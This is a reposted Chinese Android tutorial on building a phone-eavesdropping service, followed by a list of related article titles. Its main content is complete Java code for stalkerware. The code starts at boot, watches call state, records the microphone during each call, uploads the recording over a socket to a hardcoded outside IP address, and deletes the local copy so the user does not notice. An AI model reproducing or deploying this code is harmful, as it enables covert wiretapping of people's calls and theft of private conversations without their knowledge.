Android之Service案例-电话窃听
来源:互联网 发布:淘宝联想授权网店查询 编辑:程序博客网 时间:2024/05/14 10:12
【0】Android中的服务和windows中的服务是类似的东西,服务一般没有用户操作界面,它运行于系统中不容易被用户发觉,可以使用它开发如监控之类的程序。Service的建立如下:
第一步:继承Service类
publicclass SMSServiceextends Service { }
第二步:在AndroidManifest.xml文件中的<application>节点里对服务进行配置:
<serviceandroid:name=".SMSService"/>
服务不能自己运行,需要通过调用Context.startService()或Context.bindService()方法启动服务。这两个方法都可以启动Service,但是它们的使用场合有所不同。
使用startService()方法启用服务,调用者与服务之间没有关连,即使调用者退出了,服务仍然运行。
使用bindService()方法启用服务,调用者与服务绑定在了一起,调用者一旦退出,服务也就终止,大有“不求同时生,必须同时死”的特点。
采用Context.startService()方法启动服务,在服务未被创建时,系统会先调用服务的onCreate()方法,接着调用onStart()方法。如果调用startService()方法前服务已经被创建,多次调用startService()方法并不会导致多次创建服务,但会导致多次调用onStart()方法。采用startService()方法启动的服务,只能调用Context.stopService()方法结束服务,服务结束时会调用onDestroy()方法。
【1】
要实现电话窃听,需要监听电话的状态,方法如下:
- /* 取得电话服务 */
- TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
- PhoneStateListener listener = new PhoneStateListener(){
- @Override public void onCallStateChanged(int state, String incomingNumber) {
- switch (state){
- case TelephonyManager.CALL_STATE_IDLE: /* 无任何状态时 */
- break;
- case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起电话时 */
- break;
- case TelephonyManager.CALL_STATE_RINGING: /* 电话进来时 */
- break;
- default:
- break;
- }
- super.onCallStateChanged(state, incomingNumber);
- }
- };
- //监听电话的状态
- telManager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
在清单文件AndroidManifest.xml中添加权限:
<uses-permissionandroid:name="android.permission.READ_PHONE_STATE"/>
可以使用手机进行现场录音,实现步骤如下:
第一步:在功能清单文件AndroidManifest.xml中添加音频刻录权限:
<uses-permissionandroid:name="android.permission.RECORD_AUDIO"/>
第二步:编写音频刻录代码:
- MediaRecorder recorder = new MediaRecorder();
- recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音
- recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式
- recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式
- recorder.setOutputFile("/mnt/sdcard/itcast.amr");
- recorder.prepare();//预期准备
- recorder.start(); //开始刻录
- ...
- recorder.stop();//停止刻录
- recorder.reset(); //重设
- recorder.release(); //刻录完成一定要释放资源
【2】电话窃听时使用手机麦克风进行录音,然后把录下的音频文件上传至指定的服务器
代码示例:这里只显示客户端的代码
- public class PhoneListenService extends Service
- {
- private static final String TAG = "PhoneListenService";
- @Override
- public void onCreate()
- {
- TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
- telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE);
- Log.i(TAG, "service created");
- super.onCreate();
- }
- private class TelListener extends PhoneStateListener
- {
- private MediaRecorder recorder;
- private String mobile;
- private File audioFile;
- private boolean record;
- @Override
- public void onCallStateChanged(int state, String incomingNumber)
- {
- try
- {
- switch (state)
- {
- /* 无任何状态时 */
- case TelephonyManager.CALL_STATE_IDLE:
- if(record)
- {
- recorder.stop();//停止刻录
- recorder.release();
- record = false;
- new Thread(new UploadTask()).start();
- Log.i(TAG, "start upload file");
- }
- break;
- /* 接起电话时 */
- case TelephonyManager.CALL_STATE_OFFHOOK:
- Log.i(TAG, "OFFHOOK:"+ mobile);
- recorder = new MediaRecorder();
- recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音
- recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式
- recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式
- audioFile = new File(getCacheDir(), mobile+"_"+ System.currentTimeMillis()+".3gp");
- recorder.setOutputFile(audioFile.getAbsolutePath());
- recorder.prepare(); //预期准备
- recorder.start(); //开始刻录
- record = true;
- break;
- /* 电话进来时 */
- case TelephonyManager.CALL_STATE_RINGING:
- Log.i(TAG, "incomingNumber:"+ incomingNumber);
- mobile = incomingNumber;
- break;
- default:
- break;
- }
- }
- catch (Exception e)
- {
- Log.e(TAG, e.toString());
- }
- super.onCallStateChanged(state, incomingNumber);
- }
- private final class UploadTask implements Runnable
- {
- @Override
- public void run()
- {
- try
- {
- Socket socket = new Socket("220.113.15.71", 7878);
- OutputStream outStream = socket.getOutputStream();
- String head = "Content-Length="+ audioFile.length() + ";filename="+ audioFile.getName() + ";sourceid=/r/n";
- outStream.write(head.getBytes());
- PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());
- String response = StreamTool.readLine(inStream);
- String[] items = response.split(";");
- String position = items[1].substring(items[1].indexOf("=")+1);
- RandomAccessFile fileOutStream = new RandomAccessFile(audioFile, "r");
- fileOutStream.seek(Integer.valueOf(position));
- byte[] buffer = new byte[1024];
- int len = -1;
- while( (len = fileOutStream.read(buffer)) != -1)
- {
- outStream.write(buffer, 0, len);
- }
- fileOutStream.close();
- outStream.close();
- inStream.close();
- socket.close();
- audioFile.delete();
- }
- catch (Exception e)
- {
- Log.e(TAG, e.toString());
- }
- }
- }
- }
- //清空缓存目录下的所有文件
- @Override
- public void onDestroy()
- {
- File[] files = getCacheDir().listFiles();
- if(files!=null)
- {
- for(File f: files)
- {
- f.delete();
- }
- }
- Log.i(TAG, "Service Destroy");
- super.onDestroy();
- }
- @Override
- public IBinder onBind(Intent intent)
- {
- // TODO Auto-generated method stub
- return null;
- }
- }
- public class BootBroadcastReceiver extends BroadcastReceiver
- {
- @Override
- public void onReceive(Context context, Intent intent)
- {
- Intent service = new Intent(context, PhoneListenService.class);
- context.startService(service);
- }
- }
- public class StreamTool
- {
- public static void save(File file, byte[] data) throws Exception
- {
- FileOutputStream outStream = new FileOutputStream(file);
- outStream.write(data);
- outStream.close();
- }
- public static String readLine(PushbackInputStream in) throws IOException
- {
- char buf[] = new char[128];
- int room = buf.length;
- int offset = 0;
- int c;
- loop: while (true) {
- switch (c = in.read()) {
- case -1:
- case '/n':
- break loop;
- case '/r':
- int c2 = in.read();
- if ((c2 != '/n') && (c2 != -1)) in.unread(c2);
- break loop;
- default:
- if (--room < 0) {
- char[] lineBuffer = buf;
- buf = new char[offset + 128];
- room = buf.length - offset - 1;
- System.arraycopy(lineBuffer, 0, buf, 0, offset);
- }
- buf[offset++] = (char) c;
- break;
- }
- }
- if ((c == -1) && (offset == 0)) return null;
- return String.copyValueOf(buf, 0, offset);
- }
- /**
- * 读取流
- * @param inStream
- * @return 字节数组
- * @throws Exception
- */
- public static byte[] readStream(InputStream inStream) throws Exception
- {
- ByteArrayOutputStream outSteam = new ByteArrayOutputStream();
- byte[] buffer = new byte[1024];
- int len = -1;
- while( (len=inStream.read(buffer)) != -1)
- {
- outSteam.write(buffer, 0, len);
- }
- outSteam.close();
- inStream.close();
- return outSteam.toByteArray();
- }
- }
- [Android] Android之Service案例-电话窃听
- Android之Service案例-电话窃听
- [Android开发]Android之Service案例-电话窃听
- Service及用Service实现电话窃听
- 我的Android进阶之旅------>Android电话窃听实例
- android-电话窃听功能
- Android案例之拨打电话
- 安卓开发-开机时启动电话窃听service服务
- Android开发案例之电话拨号器
- Android之服务Service---电话监听
- Android之Service实例电话监听器
- android 使用服务来窃听电话,并且通过语音录制
- android 使用服务来窃听电话,并且通过语音录制
- 采用服务窃听电话
- Android电话事件案例
- Android Service 电话录音机
- 电话窃听和拦截应用
- 电话窃听和拦截应用
- 适配器-Adapter
- javascript 小数类型格式化 --oFixed函数
- oracle最大连接数 汇总
- 三种快速排序以及快速排序的优化
- liferay ide 创建主题 Custom Classic Theme with Liferay IDE
- Android之Service案例-电话窃听
- No space left on device的原因
- Android-Sqlite数据库的分页显示。
- 指尖下的js ——多触式web前端开发之一:对于Touch的处理
- 设为首页代码和加入收藏代码-兼容各种浏览器
- Linux下nm和ldd 命令
- Hibernate对象的三种状态
- TWaver图形之道(七)TWaver开发流程
- Void*and Null Pointer的区别